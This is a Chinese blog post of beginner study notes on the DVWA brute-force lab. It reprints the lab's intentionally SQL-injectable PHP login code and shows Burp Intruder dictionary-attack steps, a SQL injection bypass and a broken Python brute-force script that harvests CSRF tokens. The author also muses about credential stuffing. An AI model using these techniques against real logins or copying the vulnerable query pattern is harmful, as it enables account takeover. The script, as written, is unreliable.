dvwa-brute force

最新推荐文章于 2024-07-15 12:05:52 发布

Alter__

最新推荐文章于 2024-07-15 12:05:52 发布

阅读量474

点赞数

本文链接：https://blog.csdn.net/Alter__/article/details/72053084

版权

安全专栏收录该内容

5 篇文章 0 订阅

订阅专栏

菜鸟一枚，略显详细。

Brute force

是指黑客利用密码字典，使用穷举法猜解出用户口令。

low

<?php
if( isset( $_GET[ 'Login' ] ) ) {
   $user = $_GET[ 'username' ];
   $pass = $_GET[ 'password' ];
   $pass = md5( $pass );

   $query  = "SELECT * FROM  `users`  WHERE user = '$user'  AND password = '$pass';";
   $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"]))
 ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) 
? $___mysqli_res : false)) . '</pre>' );

   if( $result && mysqli_num_rows( $result ) == 1 ) {
      // mysqli_num_rows 记数
      $row    = mysqli_fetch_assoc( $result );
     //mysql_fetch_assoc() 函数从结果集中取得一行作为关联数组。返回根据从结果集取得的行生成的关联数组
     $avatar = $row["avatar"];

      // Login successful
      $html .= "<p>Welcome to the password protected area {$user}</p>";
      $html .= "<img src=\"{$avatar}\" />";
   }
   else {
      // Login failed
      $html .= "<pre><br />Username and/or password incorrect.</pre>";
   }

   ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

爆破-butpsuite

第一步抓包

第二步，ctrl+I将包复制到intruder模块，因为要对password参数进行爆破，所以在password参数的内容两边加$

第三步选中Payloads，载入字典，点击Start attack进行爆破

输入不同的试试（成功）

sql注入

这里面有sql注入，我的理解就是对你输入的部分直接进行了查询，并没有排除它其实是一个未完成的（例如（‘））

然而我没有成功，等我学完sql注入攻击再来一次。

5.25 学习了一点sql语言后，看了点sql注入后，了解到：单引号字符（‘）解析成代码与数据间的分界线：引号内是数据，引号外是代码。

注入成功

medium

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"]))
 ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user )
//这个函数会对字符串中的特殊符号（x00，n，r，，’，”，x1a）进行转义，基本上能够抵御sql注入攻击
 : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) 
? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass )
 : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) 
? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( 2 );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
//mysqli_close如果成功则返回 true，失败则返回 false。__mysqli_res永远非空
 }

结果和low一样，只是不能注入

height

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
//抵御csrf
    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = stripslashes( $user );//去除字符串中的反斜线字符,如果有两个连续的反斜线,则只去掉一个
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( rand( 0, 3 ) );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?> 


from bs4 import BeautifulSoup //解析文档为用户提供需要抓取的数据
import urllib2
header={        'Host': 'xxxx'
		'If-None-Match': "xxx",
		'If-Modified-Since': 'xxx',//判断是否改变
		'User-Agent': 'xxx',
		'Accept': 'xxx',
		'Referer': 'xxx',
		'Accept-Encoding': 'xxx',
		'Accept-Language': 'xxx',
		'Cookie': 'xxx'}
requrl = "xxx"

def get_token(requrl,header):
	req = urllib2.Request(url=requrl,headers=header)
	response = urllib2.urlopen(req)
	print response.getcode(),
	the_page = response.read()
	print len(the_page)
	soup = BeautifulSoup(the_page,"html.parser")
	user_token = soup.form.input.input.input.input["value"] #get the user_token
	return user_token

user_token = get_token(requrl,header)
i=0
for line in open("rkolin.txt"):
	requrl = "xxx"+"?username=admin&password="+line.strip()/*文本里面的密码*/+"&Login=Login&user_token="+user_token
	i = i+1
	print i,'admin',line.strip(),
	user_token = get_token(requrl,header)
	if (i == 10):		break
//xxx表示抓包里面获得的


还没上手这个，日后更。

5.25，之前一直不知道为什么要用爆破，不是要自己猜么，好麻烦的，今天突然想起来，可以用来撞库么？！！！